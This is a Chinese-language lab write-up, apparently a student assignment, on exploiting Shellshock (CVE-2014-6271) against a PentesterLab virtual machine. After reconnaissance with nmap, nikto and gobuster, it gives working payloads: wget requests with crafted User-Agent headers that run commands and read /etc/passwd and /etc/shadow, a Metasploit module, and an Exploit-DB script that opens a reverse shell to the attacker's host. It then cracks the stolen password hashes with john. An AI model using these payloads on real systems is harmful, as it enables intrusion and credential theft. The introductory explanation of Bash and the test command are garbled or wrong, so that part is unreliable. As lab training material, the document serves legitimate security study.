Try   HackMD

ShellShock 系統弱點攻防實做

什麼是SHellShock

  • 一種關於Bash shell的漏洞
    • 什麼事Bash shell?
      Bash Sell 在作業系統的層級中,在核心(Kernel)之上,應用程式(Application)之下,由Bash(Linux& MacOS底層Unix其中一種Shell), Ksh(Unix前身), Csh(最初shell), Tcsh(Unix), Zsh(MacOS)組成。

    • Bash shell能做什麼
      透過shell script除了可安裝軟以外,還可存取作業系統中的環境係數,e.g.環境變數、使用者資訊、硬體資訊etc.

    • bash shell: 會因作業系統的不同,而有不同的表達方式,e.g. 指令 ls在Ubuntu終究有兩種呈現方式:

      ​​​​​​​​l
      
      ​​​​​​​​ls
      

      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →

      ps: 使用環境: Windows WSL Ubuntu 20.04 Docker

    • bash: 基於GNU bash(Kernel)所提供的原生命令,在某些特定的情況下,e.g.環境變數遺失,可進入bash模式尋找原生的環境變數,進入bash模式下即可直接進入使用者root(因為root是原生帳號,但有時原生帳號未必會是root帳號)。
      bash是一種程式語言,部分由Macro組成(運用於程式正式啟動前確認編譯無誤,降低嵌入式系統在設計時造成不必要的死機狀況),經常用於程式安裝,某些應用程式在官方網站或是github上下載原生source,經常第一步需要執行configure檔與使用make指令進行編譯。

      • 轉換範例:
      ​​​​​​​​    t(){
      ​​​​​​​​        echo "hello";
      ​​​​​​​​    }
      
      ​​​​​​​​    t= `(){echo "hello"; }`
      
      • 透過bash執行
        ps: 此指令只能在有shellshock漏洞的系統上才能運作
      ​​​​​​​​    env t = '() { ;: }; echo hello' bash -c
      
  • 如何檢測使用的主機是否有shellsshock漏洞
    • 透過執行c語言透過macro library 所撰寫額成的聚集進行測試,即可得知此系統是否有存在shellshock漏洞
    • 為驗證是否能運作macro指令,撰寫以下測試命令,前段為c語言,後段為一般的shell。
      ​​​​​​​​    env t = '() { ;: }; echo hello' bash -c 'echo world'
      
      • 在未啟用漏洞的主機會不顯示hello

        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →

      • 在啟用漏洞的主機,可顯示輸出結果hello world

        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →

環境設定

使用主機

  • os: Windows 11
  • version: 21H2
  • cpu: Intel® Core i7-8750H CPU
  • ram: 32.0 GB

模擬軟體

  • software: VMWware
  • version: 16

連線軟體

由於外接設備有些問題,導致許你機無法接收鍵盤訊號,因此使用遠端軟體連線

  • Putty

攻擊主機

  • os: kali
  • version: 2022.2
  • GNU: Kali GNU/Linux Rolling
  • ip: 192.168.197.132
  • 工作資料夾: ~/Documents/cve-2014-6271

被攻擊主機製作

  • 下載 cve-2014-6271
  • 使用vmware製作成具有漏洞的主機
    • 在vmware首頁選擇 Create a New machine
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 在 New Virtual Machine Wizard的畫面,在Install disc image file(iso)的選項中,選擇上一步驟下載的iso檔案,選擇後點選Next
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 這個畫面Operation System選項中選擇Linux,Version選項中選取Ubuntu、Ubuntu(32)或是 Ubuntu(64)皆可。
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 後續的步驟中要選取儲存位置與硬體資源分配,最需要注意的網路卡的部分,必須與攻擊主機同一網段
  • ip: 192.168.197.128
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

攻擊實作

選擇目標: 尋找ip位置

雖然說被攻擊方的主機是由我們自己架設,但在模擬攻擊方時,尋找並選擇攻擊目標,才可對選擇後續攻擊手段與攻擊目的。

  • 區域網路尋找攻擊目標
    在這個步驟中,必須先尋找同網域中有那些電腦。
    由此電腦位置可得知,此ip位置為c class網路,因此後續範圍為24
    ​​​​sudo apr-scan 192.168.197.0/24
    
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 此掃描結果可得知,有 .1 .2 .128與.254三台設備,而除了.128外,其他位置經常用於Gateway, broadcast, dns-server,因此優先猜測.128為實體主機。

收集資訊

  • 此步驟用於收集該主機對外開放了什麼服務,可根據portal推測開啟對應的服務。

  • 上個步驟的掃瞄,猜測.128為實體主機,但預防猜測錯誤,還是對整個區域的電腦設備進行掃描。

  • 這裡使用nmap工具進行掃描,使用此工具的優點在於可直接對掃描,並測試該portal的真實性,減少猜測錯誤的次數,也避免主機偵測到攻擊因此防禦性關閉服務。

  • 主機掃描過程:

    ​​​​sudo nmap -sS 192.168.197.0/24 
    
    • -sS發送SYN的封包至目標主機,此優點在於屬於半個tcp連線,被掃描主機較難偵測到該連線,而連線次數為3次,大多數的偵測為惡意連線的攻擊連續次數為5次,此指令的不論是在隱密性或是防止主機被動防禦都有很好的效果。
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 掃描結果推論:
    1. 此可推定.128為實體體主機。
    2. 有開啟的portal為22(ssh)與80(http)。
  • 對80掃描過程
    80 port通常是網頁的portal,因此這邊使用對於網頁的掃描工具。

    • 使用NITKO進行掃描
      NITKO可進行全面的Web伺服器多個項目測試,並偵測網頁中目錄,檔案,和其中存在的漏洞。
      ​​​​​​​​sudo nikto -h "http://192.168.197.128" |tee nikto.log
      
      • -h: 指定掃描host,參數必須是字串,且必須為網址。
      • tee 儲存掃描最終結果,並命名為nikto.log,預防遺忘或清空掃描結果。
      • 掃描結果
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →
      • nikto.log內容,由此掃描得知,此網站具有shellshock漏洞
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →

        ps:由於nikto掃描時間較長,因此在掃描過程中使用gobuster進行網頁拆解。
    • 使用gobuster掃描(階段1)
      • gobuster可對網頁、網站和伺服器中的內容檔案與資料夾進行解析,可尋找是否有隱藏檔案。
        ​​​​​​​​​​​​gobuster dir -u http://192.168.197.128 
        ​​​​​​​​​​​​-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
        ​​​​​​​​​​​​|tee gobuster.log
        
      • dir: dir是web模式。
        ps:其他模式: dns:dns模式, vhost:virtual host模式, s3: S3 Buckets(Amazon旗下產品)
      • -u: 指定url。
      • -w: 指定字典檔,用於網頁尾端加上常用網址,嘗試尋找隱藏檔案。
      • tee: 儲存最終掃描結果,檔名為gobuster.log。
      • 掃描結果:
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →
      • 可得知有三個資料夾,分別為/cgi-bin,/css和/js。
    • 使用gobuster掃描(階段2)
      • 上個階段已偵查到三個目錄,因此分別使用wget將這些目錄進行下載,並查看是否有異常。
        ​​​​​​​​​​​​wget http://192.168.197.128/cgi-bin
        ​​​​​​​​​​​​wget http://192.168.197.128/css
        ​​​​​​​​​​​​wget http://192.168.197.128/js
        
      • cgi-bin: http response code 403: 表示所需的URL有效,但是無法滿足用戶的請求。
      • cgi-bin相關知識: Common Gateway Interface,存在於Apache專案中,用於處理Http中的需要經過server的所有動作。
      • css: 可從檔案中察看,其實並無任何特別資訊
      • js: 可從檔案中察看,其實並無任何特別資訊
    • 這時,nikto剛好掃描完成,查看nikto的掃描結果,與gobuster掃描結果,可得以下結論:
      1. nikto中有掃描到shellshock漏洞。
      2. nikto中有掃描到資料夾/cgi-bin中還才有資料夾status
      3. gobuster也拆解到資料夾/cgi-bin,但未拆解到資料夾status
      4. 資料夾/css與/js下並未有其他檔案,可排除進一步掃描。
    • 由1,2,3點,論證,需要再對資料夾/cgi-bin/再次掃描,可能有其他隱藏檔案或是相關資訊。
      • 使用gobuster對資料夾/cgi-bin掃描
        ​​​​​​​​​​​​gobuster dir 
        ​​​​​​​​​​​​-x sh,cgi,log,php,cs,asp,jsp,vue,js,asmx,aspx 
        ​​​​​​​​​​​​-u http://192.168.197.128/cgi-bin/ 
        ​​​​​​​​​​​​-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
        ​​​​​​​​​​​​|tee gobuster2.log
        
      • 這次增加參數 -x: 針對檔案類型加強掃描,在此列上我所知可能為網路應用程式檔案。
      • -u: 由於是對資料夾/cgi-bin加強掃描,因此這次將網址指定在資料夾/cgi-bin下
      • tee: 這次將結果儲存為gobuster2.log與原先的gobuster.log做區分。
      • 這次掃描解果確實有掃描到status檔案,且http resqonse code為2開頭(表示成功運行)
      • wget檔案下來看看內容
  • 資訊對比後的結論

    • shellshock漏洞
    • 隱藏檔案status
    • 使用者數量為1
    • SMP為2014年7月6號的GUN Linux
    • kernel核心為3.14.1-pentesterlab,到此可得知此為此核心與shellshock的關係
    • 22(ssh) & 80(http) ports are open.
    • 但為了作業成績,只好繼續做下去,希望老師放過。
      ps: 兩隻掃描工具結果比對

開始滲透

方案1 直接攻擊

  1. 先前我們對shellshock的了解,此漏洞對於某些命令會產生反應,將這段可執行的指令傳遞到目標主機,成為我們的攻擊方式。

  2. 先前在cgi的了解中,所有的http resopnse都會經過cgi,而在網際網路的世界中,必須要先有上傳,才會有下載,因此透過下載檔案的方式,將指令夾雜在下載的請求中,讓cgi讀取命令並產生反映,不自覺的將命令執行結果回傳到到提出request的來源。

  3. http request: User-Agent(使用者相關與環境資訊):在使用瀏覽器瀏覽網站時,瀏覽器會將瀏覽器本身的資訊加入到request中的,而連線主機會依照連線來源來做些因應,例如先前網站工程師最頭痛的IE瀏覽器,會因IE瀏覽器的特質,傳送為專為IE瀏覽器的特製設定,若原先網站使用前端框架Vue製作,IE瀏覽器的request自動拒絕若導入到原先較舊的網站;除了資訊外還有可塞入talkon,例如成人網站的的年齡確認只須點選1次,不需持續確認的原因在此。伺服器也可透過此設定了解連線來源是否為爬蟲,攻擊,掃描或連線來源身分。若要瞭解更多,可嘗試撰寫爬蟲程式,或運用為搶課系統。

  4. 結合以上知識,將命令塞入request中,須將命令改寫:
    原先命令:

    ​​​​    env t = '() { ;: }; echo hello' bash -c
    

    User-Agent也屬於環境的一部分,可將env拿掉。
    t是變數,將過server拆解User-Agent參數後,會被其他參數取代,因此將原先變數t拿掉。
    命令: () { :; }; echo; echo;是Apache專案中cgi的漏洞程式碼。
    bash要更改為運行命令bash檔案的位置,通常預設的bash檔案會位於/bin/sh。
    -c 是bash運行命令時所夾帶的參數。
    最後增加要運行的命令,即可完成命令改寫。

  5. 使用wget提出下載status,並更改User-Agent。

    命令格式: wget [檔案網址][-U][更改後的命令]
    這裡已下命令whoami查看當前使用者是誰。

    ​​​​ wget http://192.168.197.128/cgi-bin/status 
    ​​​​ -U "() { :; }; echo; echo; /bin/sh -c 'whoami'"
    

  6. 查看以下載檔案,由於先前已下載status檔案,因此自動更名為stats.1,後續查看檔案動作相同,因此不再贅述。
    可得知當前使用者為pentesterlab

    ​​​​cat status.1
    

  7. 確認已知資訊做驗證,查看當前ip位置

    ​​​​wget http://192.168.197.128/cgi-bin/status 
    ​​​​-U "() { :; }; echo; echo; /bin/sh -c 'ifconfig'"
    

  8. 確認有哪些使用者帳號密碼與權限。

    ​​​​wget http://192.168.197.128/cgi-bin/status 
    ​​​​-U "() { :; }; echo; echo; /bin/sh -c 'cat /etc/passwd'"
    

方案2 使用msfconsole

  1. 開啟msfconsole。

    ​​​​msfconsole
    

  2. 搜尋關於shellshock相關可用資源。

    ​​​​search shellshock
    

  3. 我覺得項目有點多,因此加入cgi關鍵字,再次過濾資訊。

    ​​​​search shellshock cgi
    

  4. 嘗試使用第0項資訊

    ​​​​use exploit/linux/http/advantech_switch_bash_env_exec
    

  5. 查看使用此需要的相關設定

    ​​​​show options
    

    透過此命令跳出關於此漏洞應用的相關exploit(巨集)的說明,並沒有指定的Payload,且沒有其他更詳細的說明,因此更換其他exploit試試看。

  6. 這次選擇第四步驟圖片中的第1項

    ​​​​    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    
  7. 再次查看相關資訊

    ​​​​show options
    

    可察看到,此exploit是針對CVE-2014-6271所設計的,有指定攻擊路徑,Header設定,非常符合shellshock和cgi所需要的規格。因此這裡選擇此exploit。

  8. 根據上衣不可得知lhost預設正確,但還需要設定其他參數,rhost(target host),payload與target url。

  9. 嘗試執行

    ​​​​run
    

    沒有錯誤訊息,開始嘗試遠端控制。

  10. 嘗試得知網路卡資訊與狀態

    ​​​​ifconfig
    

    可得知目前ip與攻擊目標ip,因該沒有問題。


  11. 執行shell,嘗試開啟shell。

    ​​​​shell
    

    一片黑,不知有無成功,開始嘗試其他指令。

  12. 嘗試列出當前bash狀態

    ​​​​bash -i
    

    可得知目前bash在時體主機並沒有在運作。(跳出此訊息時我以為是我參數下錯,嘗試好幾次xD)

  13. 嘗試得知目前Linux Kernel資訊

    ​​​​uname -a
    

    可得知與先前收集資訊相同。

  14. 再來看看有那些帳號與密碼。
    查看資料夾/etc下的檔案passwd可查看所有使用者帳號密碼與權限。

    ​​​​cat /etc/passwd
    

  15. 再來看看先前nmap查詢到ssh的相關設定
    服務的設定檔通常會在資料夾/etc下

    ​​​​ls /etc/
    

    可得知此電腦並未安裝ssh相關服務。

  16. 最後確認當前使用者是誰

    ​​​​whoami
    

方案3 使用searchsploit

searchsploit是隸屬於Exploit Database下的一種工具,Exploit Database開資料庫由Offensive Security公司進行維護,適用於測試資訊安全評估滲透測試。

  1. 啟用searchsploit並使用萬用參數 -h 查看使用說明。
    可得知使用參數s可進行search。
    ​​​​searchsploit -h
    

  1. 搜尋與cgi符合的資訊。
    符合條件太多,因此更換篩選關鍵字
    ​​​​searchsploit  -s cgi
    

  1. 搜尋與apache符合的資訊。
    符合條件太多,但與上步驟相比,已有減少。
    ​​​​searchsploit  -s apache
    

  1. 這次在搜尋apache的關鍵字時,在使用命令grep進行過濾,將符合apache與cgi的項目列出。
    ​​​​searchsploit  -s apache |grep cgi
    

  1. 查看符合條件的檔案相關資訊,進一步確認該巨集是否能使用。
    -x: 查看該巨集本體與巨集相關資訊。會先跳出本體,閱讀完後會跳出資訊。
    ​​​​searchsploit  -x linux/remote/34900.py
    


  1. 將該檔案複製到工作資料夾,並確認是否成功複製。
    cp: linux中的複製指令,我目前bash的工作位置為實驗專案目錄。
    ​​​​cp /usr/share/exploitdb/exploits/linux/remote/34900.py ./34900.py
    

  1. 使用python執行檔案
    python [file] 可直接編譯並執行python文件。
    ​​​​python 34900.py payload=reverse rhost=192.168.197.128 lhost=192.168.197.132 lport=8080
    

  1. 在執行時跳出錯誤訊息,根據print語法推測,該撰寫方式應為python2,因此更改為python2執行。

    ​​​​python2 34900.py payload=reverse rhost=192.168.197.128 lhost=192.168.197.132 lport=808
    

  2. 執行成功畫面,疑似錯誤,開始進行各種測試。

  3. 先查看shell是否成功執行。

    ​​​​shell
    

    此回覆表示已在shell已在運行中。

  4. 查看當前bash資訊

    ​​​​bash -i
    

    可得知目前bash命為有工作階段。

  5. 查看Linux資訊

    ​​​​uname -a
    

    得知目前linux版本與當前使用者。

  6. 查看資料夾/etc下的相關設定。

    ​​​​ls /etc
    

  7. 疑點: 使巨集疑似有些問題,再命令輸出後,需enter兩次才會有反應。

取得root權限

方案1 直接解密shadow檔案

Ps: 由於虛擬機出了一些問題,因此重新架設被攻擊主機,並更換ip位置,ip位置為192.168.197.131

  1. 透過直接攻擊,將執行命令改為查看shadow檔案
    如果運氣好,即可直接閱讀shadow檔案,通常這隻檔案必須要以root權限閱讀。

    ​​​​ wget http://192.168.197.131/cgi-bin/status -U "() { :; }; echo; echo; /bin/sh -c 'cat /etc/shadow'"
    

  2. 透過john進行解密
    因為剛剛的wget指令,將結果儲存在檔案status.6,因此透過john解密此檔案。
    此步驟會消耗大部分的電腦資源。

    ​​​​john status.6
    

  3. 解密結果

方案二 透過msfconsole上傳可取得root的應用程式

此方案成功機率不高,因必須要有相關資源,此案例就沒有相關資源,因此無法使用。

  1. 透過status檔案可得知目標linux kernel版本。
  2. 運用searchsploit尋找關於該版本的漏洞。
  3. 由於沒有3.4.1版本資源,因此稍提大概流程。
  4. 回到滲透的方案二,透過msfconsole連線到目標主機。
  5. 透過upload指令,將資源上傳到目標主機。
  6. 編譯後執行漏洞資源。根據不同的程式語言,會有不同的操作方式
  7. 就可成功進入root權限。

Reference